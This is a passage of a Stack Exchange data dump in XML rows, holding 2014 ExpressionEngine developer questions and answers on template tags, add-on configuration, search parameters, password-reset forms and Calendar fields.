  <row Id="25883" PostTypeId="1" CreationDate="2014-09-25T13:11:49.543" Score="0" ViewCount="190" Body="&lt;p&gt;I'm having an issue where the &quot;File Upload&quot; is appearing at the bottom of the publish page. There is quite a few JS errors in the console, but I'm unsure what files are causing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I though this was the same issue as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1621/file-manager-modal-appearing-at-the-bottom-of-publish-page&quot;&gt;File manager modal appearing at the bottom of publish page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they fixed it by upgrading Matrix... But I'm on the latest version! I'm running EE.29 and ALL the add-ons are up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E6jpy.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="362" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2019-07-08T00:01:15.167" Title="&quot;File Upload&quot; box appearing at bottom of Publish Page" Tags="|file-uploads|file-manager|publish-layout|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25884" PostTypeId="2" ParentId="24170" CreationDate="2014-09-25T14:15:39.157" Score="0" Body="&lt;p&gt;Do you have Zoo Flexible Admin installed? Older versions of this will trigger a &lt;code&gt;d.ee_focus is not a function&lt;/code&gt; error on EE 2.7+&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-09-25T14:15:39.157" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25885" PostTypeId="1" CreationDate="2014-09-25T14:25:52.557" Score="0" ViewCount="108" Body="&lt;p&gt;Am i right in thinking &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loose_ends=&quot;right&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Takes no notice of anything to the right of what you searched for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the matrix field i am searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fz4pl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically this would be an example search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CSMTp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i was hoping is that the [loose_ends=&quot;right&quot;] would take no notice of the &quot;HE&quot; and return the entry with &quot;LL28 3&quot; in one of the rows but it doesnt at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for it to work i need to type &quot;LL28 3&quot; and submit the search. It will then return the entry.. is there a way that i can get it to work with the &quot;HE&quot; or whatever else letters is added after?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code i have at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEARCH:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:low_search:form result_page=&quot;search/results&quot; form_id=&quot;postcodesearch&quot;}&#xA;                &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Enter your postcode:&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;Enter your postcode here&quot; class=&quot;postcode-entry&quot; /&amp;gt;&#xA;                    &amp;lt;button type=&quot;submit&quot; class=&quot;white-button postcode-button&quot;&amp;gt;&amp;lt;span class=&quot;fa fa-search icon&quot;&amp;gt;&amp;lt;/span&amp;gt;Search your postcode&amp;lt;/button&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;  {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;RESULTS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;1&quot; collection=&quot;franchise&quot; loose_ends=&quot;right&quot; channel=&quot;franchise&quot;}&#xA;&#xA;    {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;    {if no_results}No search results{/if}&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3335" LastEditorUserId="3335" LastEditDate="2014-09-25T14:32:41.463" LastActivityDate="2014-09-25T15:18:04.157" Title="Low Search loose_ends" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25886" PostTypeId="2" ParentId="25885" CreationDate="2014-09-25T15:18:04.157" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Am i right in thinking &lt;code&gt;loose_ends=&quot;right&quot;&lt;/code&gt; takes no notice of anything to the right of what you searched for?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. To quote &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;right&lt;/code&gt;: lion will match lions and lionized.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...which means the search term &lt;em&gt;lion&lt;/em&gt; will return entries that contain &lt;em&gt;lions&lt;/em&gt; or &lt;em&gt;lionized&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your description, you're expecting the opposite: eg. &lt;em&gt;lionized&lt;/em&gt; will also return &lt;em&gt;lion&lt;/em&gt;. That wouldn't be desirable behaviour.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is there a way that i can get it to work with the &quot;HE&quot; or whatever else letters is added after?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only if you change the submitted keywords yourself, either with JavaScript on form submit, or using an extension which hooks onto &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/hooks#low_search_pre_search&quot; rel=&quot;nofollow&quot;&gt;the low_search_pre_search hook&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-25T15:18:04.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25887" PostTypeId="2" ParentId="25879" CreationDate="2014-09-25T15:38:53.360" Score="1" Body="&lt;p&gt;Try outputting a regular list with LYA and use JavaScript to generate the drop-down based on that list. That is behaviour that falls outside of the scope of LYA, to be honest. But with the output it can generate, and some creative JS, creating that behaviour shouldn't be too difficult.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-25T15:38:53.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25888" PostTypeId="2" ParentId="25864" CreationDate="2014-09-25T15:46:27.433" Score="1" Body="&lt;p&gt;Your templates looks fine for the most part and you are on the right track to remove &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; if you are having issues with the form reloading without submitting as that usually means that there is an error but you don't have the error message logic in your template. Having said that you will want to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{error:payment_method} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your checkout template to have gateway specific errors displayed to you (especially important for off-site gateways). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dummy gateway works with a limited number of test card numbers so you should use a card number that ends in an even number like 4242424242424242 will be approved while odd numbers like 4111111111111111 will be declined.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-09-26T14:38:03.970" LastActivityDate="2014-09-26T14:38:03.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25892" PostTypeId="1" CreationDate="2014-09-25T15:59:39.897" Score="0" ViewCount="247" Body="&lt;p&gt;I have a code which looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifier_options}&#xA;{if total_stock &amp;gt; 0}&#xA;&amp;lt;option value=&quot;{option_id}&quot;&amp;gt;{option_name} {if price_mod_val} ({price_mod}) [{store_product_stock_level} in stock] {/if}&amp;lt;/option&amp;gt;&#xA;{/if}&#xA;{/modifier_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which shows total stock (sum) of all options not stock per option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how to display stock amount per product option? So far it shows sum of all product options not X stock amount per product option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue how to get this resolved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-09-25T17:08:31.120" LastActivityDate="2014-10-13T19:49:16.123" Title="Expresso store: in stock tag inside modifiers options" Tags="|expresso-store|stock|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25894" PostTypeId="1" CreationDate="2014-09-25T16:39:57.620" Score="0" ViewCount="543" Body="&lt;p&gt;We have a reset/forgot password form (let's call this Form A) in a template that allows the user to enter the email address they signed up with (below) - this works by the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Form A&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:forgot_password}&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;Email Address&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&#xA;{/exp:user:forgot_password}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Once completed, this sends the user a unique link to reset their password&#xA;(example.com/member/reset_password?&amp;amp;id=XXXXXXXX), which when you&#xA;click on takes you to a dynamically created EE &quot;Please Enter A New&#xA;Password Page&quot; with a form (&lt;strong&gt;Form B&lt;/strong&gt;) for which there is no template that I can see.&lt;/li&gt;&#xA;&lt;li&gt;When you create your new password within this page, this works, but&#xA;it redirects the user back to the original custom reset/forgot password form&#xA;specified above that they completed (Form A).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is pretty bad UX, so we'd like to redirect the users to a login page, or at very least to the site homepage. How can we do this there's no template that allows us to intervene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3602" LastEditorUserId="197" LastEditDate="2014-10-25T17:38:37.730" LastActivityDate="2014-12-24T18:17:58.677" Title="EE Reset password form works properly, but returns user to reset password form" Tags="|members|solspace-user|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25895" PostTypeId="2" ParentId="25879" CreationDate="2014-09-25T16:48:12.250" Score="0" Body="&lt;p&gt;I resolved using JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my updated HTML with new id and classes added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;year&quot; id=&quot;choose_year&quot;&amp;gt;&#xA;{exp:low_yearly_archives channel=&quot;blog&quot; start_month=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot;}&#xA;&amp;lt;option value=&quot;{year}&quot;&amp;gt;{year}&amp;lt;/option&amp;gt;&#xA;{/exp:low_yearly_archives}&#xA;&amp;lt;/select&amp;gt;&#xA;{exp:low_yearly_archives channel=&quot;blog&quot; start_month=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot;}&#xA;&amp;lt;div&amp;gt;&#xA;{months}&#xA;&amp;lt;div class=&quot;month year{year}&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{path='blog'}/{year}/{month_num}/&quot; title=&quot;{num_entries} entries in {month} {year}&quot;&amp;gt;{month_short}&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/months}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:low_yearly_archives}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here's my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;var currentYear = (new Date).getFullYear();&#xA;$(&quot;.month&quot;).not(&quot;.year&quot; + currentYear).hide();&#xA;$(&quot;#choose_year&quot;).change(function () {&#xA;var choose_year = $(&quot;#choose_year&quot;).val();&#xA;$(&quot;.monthg&quot;).not(&quot;.year&quot; + choose_year).hide();&#xA;$(&quot;.year&quot; + choose_year).show();&#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2684" LastActivityDate="2014-09-25T16:48:12.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25896" PostTypeId="2" ParentId="25894" CreationDate="2014-09-25T16:59:23.753" Score="3" Body="&lt;p&gt;You can add parametr &lt;strong&gt;&lt;a href=&quot;http://www.solspace.com/docs/user/forgot_password/#password_reset_template&quot; rel=&quot;nofollow&quot;&gt;password_reset_template=&lt;/a&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:forgot_password password_reset_template=&quot;user/reset_password/%id%&quot; }&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;Email Address&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&#xA;{/exp:user:forgot_password} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then create template for reset password where you can &lt;a href=&quot;http://www.solspace.com/docs/user/reset_password/#return&quot; rel=&quot;nofollow&quot;&gt;set url for return&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Reset Password&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    This form will allow you to reset your password.&#xA;&amp;lt;/p&amp;gt;&#xA; &#xA;{exp:user:reset_password&#xA;    reset_code=&quot;{segment_3}&quot;&#xA;    return=&quot;user/reset_success&quot;&#xA;}&#xA;    {if user_no_results}&#xA;        &amp;lt;h4&amp;gt;The reset token provided is invalid.&amp;lt;/h4&amp;gt;&#xA;    {/if}&#xA; &#xA;    &amp;lt;h4&amp;gt;Reset Password&amp;lt;/h4&amp;gt;&#xA; &#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password&quot;&amp;gt;New Password&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;        &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA; &#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm New Password&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;        &amp;lt;input&#xA;        &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA; &#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;submit&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;{/exp:user:reset_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-09-25T17:05:07.273" LastActivityDate="2014-09-25T17:05:07.273" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25897" PostTypeId="1" AcceptedAnswerId="25904" CreationDate="2014-09-25T17:38:07.243" Score="0" ViewCount="77" Body="&lt;p&gt;I have a channel where I'm filtering entries by category and then 'stacking' categories to produce an ever decreasing list of results, i.e. showing all entries with category A and B etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the right hand column I display a list of all categories which the user uses to filter the results, however as I start to stack categories (show all entries with category A and B) the category list on the right starts to more often than not return 'no results' (as expected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to achieve is a list of categories on the right which displays only categories which are siblings of those already selected. This is much better for usability because it will guide the user to the categories with results for the stack they are creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess essentially it's two queries to return a list of 'related' category IDs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT * FROM exp_category_posts WHERE cat_id IN ({current_category_ids}) GROUP BY entry_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get the {entry_ids} related to the current categories ({current_category_ids}) and then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT cat_id FROM exp_category_posts WHERE entry_id IN ({entry_ids}) GROUP BY cat_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the categories associated with those entries, the question is of course... how does that perform with 1,000's of entries and categories!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Or am I barking up a very tall tree?&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-09-26T10:18:19.187" LastActivityDate="2015-07-23T14:19:53.930" Title="Category Related Categories (Category Siblings)" Tags="|categories|related|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25898" PostTypeId="1" CreationDate="2014-09-25T17:51:58.163" Score="1" ViewCount="125" Body="&lt;p&gt;I just installed Solspace Rating module and included the rating form like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:form entry_id=&quot;{entry_id}&quot; allow_duplicates=&quot;no&quot; anonymous=&quot;yes&quot; collection=&quot;neueroeffnungen&quot; return=&quot;bewertung_danke&quot;}&#xA;    {if not_duplicate}&#xA;        {if logged_out}&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;name&quot; value='Guest_{current_time format=&quot;%U&quot;}' /&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;select name=&quot;rating&quot; id=&quot;rating&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;3&quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;4&quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;5&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        {if captcha}&#xA;            {captcha}&#xA;        {/if}&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;submit&quot; value=&quot;Rate&quot; /&amp;gt;&#xA;    {/if}&#xA;{/exp:rating:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works great if I don't require a captcha, but if I do, I always get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The captcha you submitted is incorrect.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.8.1 - Build: 20140314&lt;br&gt;&#xA;Solspace Rating 3.2.3&lt;/p&gt;&#xA;" OwnerUserId="1802" LastActivityDate="2016-06-28T07:47:26.753" Title="Captcha validation fails with the rating form" Tags="|solspace-rating|captcha|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25899" PostTypeId="1" CreationDate="2014-09-25T18:05:16.127" Score="0" ViewCount="112" Body="&lt;p&gt;Recently the site we've been working on has been attracting a lot more traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've been seeing high CPU spikes and recently installed New Relic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Already we've been able to pinpoint a bottle neck but I'm seeing something in the reporting that I can't make sense of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're seeing a high transaction time on /article/undefined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thought was that perhaps the second segment was wrong (typo, non-existent) etc but our article template has &lt;code&gt;require_entry=&quot;yes&quot;&lt;/code&gt; and in the &lt;code&gt;if no_results&lt;/code&gt; will redirect to our 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if it's worthwhile moving our 404 outside of EE entirely if we're getting that much throughput on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-09-25T18:05:16.127" Title="Making sense of New Relic reporting" Tags="|performance|ce-cache|caching|newrelic|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25900" PostTypeId="1" CreationDate="2014-09-25T18:37:32.393" Score="0" ViewCount="78" Body="&lt;p&gt;My client wants to set email notifications based on product. So Product A would be mailed to bob@blah.com, and Product B would be mailed to john@blah.com. They would enter the recipient in the product entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I tried passing this data through the cart as a hidden input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;custom_data[notification_email_recipients]&quot; value=&quot;{notification_email_recipients}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then created an email notification within CartThrob's notifications panel with this as the To Email:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_data:notification_email_recipients}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But CartThrob sends out an email notification to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {notification_email_recipients)@blah.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is kicked back by the email servers as undeliverable (obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How can I pass a custom entry field through the shopping cart and then let CartThrob pull that field to send an email notification?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second question is: Is there an easier way to accomplish this without passing hidden variables?&lt;/p&gt;&#xA;" OwnerUserId="3623" LastActivityDate="2016-06-09T11:30:21.507" Title="CartThrob: Pass custom field through checkout to be email recipient" Tags="|email|notification|custom-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25903" PostTypeId="1" AcceptedAnswerId="25907" CreationDate="2014-09-25T21:22:32.410" Score="0" ViewCount="326" Body="&lt;p&gt;I'm trying to make an all-in-one feed for the home page of a site that would pull together all the latest entries (whether they be blog posts, events etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've got a entries loop that goes like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;posts|calendar_events&quot;&#xA;    sticky=&quot;no&quot;&#xA;    status=&quot;open|featured&quot;&#xA;    limit=&quot;10&quot;&#xA;    disable=&quot;categories|member_data|category_fields&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;calendar_events being the channel created by the Solspace Calendar add-on. The channel field with of Calendar type is called event_time. I want to know if there was a way to display the event start times &lt;strong&gt;and end times&lt;/strong&gt; through the entries tag using my &lt;code&gt;event_time&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I just put &lt;code&gt;{event_time}&lt;/code&gt; it displays the Calendar ID. I'd rather not be embedding a template for every event that appears but I suppose I could use the event_time and/or entry_id to display the time via embed variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-11-12T15:54:03.143" Title="Accessing 'Calendar' field types with the channel:entries tag" Tags="|channel-entries|solspace|solspace-calendar|entries|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25904" PostTypeId="2" ParentId="25897" CreationDate="2014-09-25T22:16:59.037" Score="0" Body="&lt;p&gt;Ok, well I kinda wrote a plug-in to do exactly this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ninefour/category_siblings.pi.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ninefour/category_siblings.pi.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-09-25T22:16:59.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25905" PostTypeId="1" AcceptedAnswerId="25910" CreationDate="2014-09-26T02:20:40.940" Score="0" ViewCount="47" Body="&lt;p&gt;Currently I'm trying to use if statements to determine what category to filter on. I'm using a combination of freebie and embed.&#xA;However, I can't seem to find the right syntax to filter correctly. I have tried different orders for the if statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Broken:&#xA;    {exp:channel:entrieschannel=&quot;resources&quot; {if freebie_break_1}category='{freebie_break_1}'{if:else embed:category}category='{embed:category}'{/if}   {if freebie_break_2}category2=&quot;{freebie_break_2}&quot;{/if}... normal channel params}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:category}category='{embed:category}'{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone let me know if category selection simply won't allow me to have this syntax?&lt;/p&gt;&#xA;" OwnerUserId="2270" LastActivityDate="2014-09-26T12:13:22.760" Title="Categories not selected correctly with if statements" Tags="|categories|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25906" PostTypeId="2" ParentId="24170" CreationDate="2014-09-26T02:41:50.130" Score="1" Body="&lt;p&gt;Here is some preamble about the process of discovering the issue, but the quick thing to check that worked for me is in the heading below, so feel free to skip ahead to see if that gives you the solution before reading the preamble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google searches turned up sparse results for this issue, but all results pointed to an old version of the themes folder being used instead of the current version.  I tried very hard to make sure that the themes folder I had was the most current one, and that no other themes folder could be being loaded somehow by mistake by reuploading the current themes folder form EllisLab and deleting all older backups of the themes folder (&lt;code&gt;themes_old&lt;/code&gt; if you follow the upgrade instructions to the letter).  None of this seemed to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried uploading a fresh copy of the nerdery theme to see if that might make a difference, and noticed that the list of available themes did not match my list.  The thing that really tipped me off was that the nerdery theme was listed as Nerdery-Theme-master and the install I had just made was in a folder called nerdery.  When I selected Nerdery-Theme-master in the list and submitted I got a bunch of errors about things not being found.  I remembered having noticed in the past that I had for some reason installed nerdery with a weird name (that reason is lost to time) so I went looking for that folder in the cp_themes libraries of other site installs and found it in my dev install.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;TLDR; This is the important bit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm sure at some point during debugging this I had looked at Admin-&gt;General Configuration, but I hadn't noticed the problem.  Looking again this time, I found the site path of my dev server in the &lt;strong&gt;Theme Folder Path&lt;/strong&gt; field.  This seems to have been stored in the database, as I could see no evidence of it existing in my configs anywhere.  Updating the entry to the correct path corrected the problem, and I then added it into my config_bootstrap to make sure each version of the site gets the correct themes folder everytime going forward.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-09-26T02:41:50.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25907" PostTypeId="2" ParentId="25903" CreationDate="2014-09-26T03:28:30.300" Score="1" Body="&lt;p&gt;Calendar data can only be pulled from Calendar tags. The Calendar widget custom field does not output any useful data (unless you need the calendar ID) if directly used in &lt;code&gt;{exp:channel:entries}&lt;/code&gt; like a regular field variable (eg. {event_time}).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could pass the &lt;code&gt;{entry_id}&lt;/code&gt; from &lt;code&gt;{exp:channel:entries}&lt;/code&gt; into the &lt;code&gt;event_id=&quot;&quot;&lt;/code&gt; parameter of a Calendar tag, such as &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; or &lt;code&gt;{exp:calendar:events}&lt;/code&gt;. Quick example (you might need to tweak for your own situation):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;posts|calendar_events&quot;&#xA;    sticky=&quot;no&quot;&#xA;    status=&quot;open|featured&quot;&#xA;    limit=&quot;10&quot;&#xA;    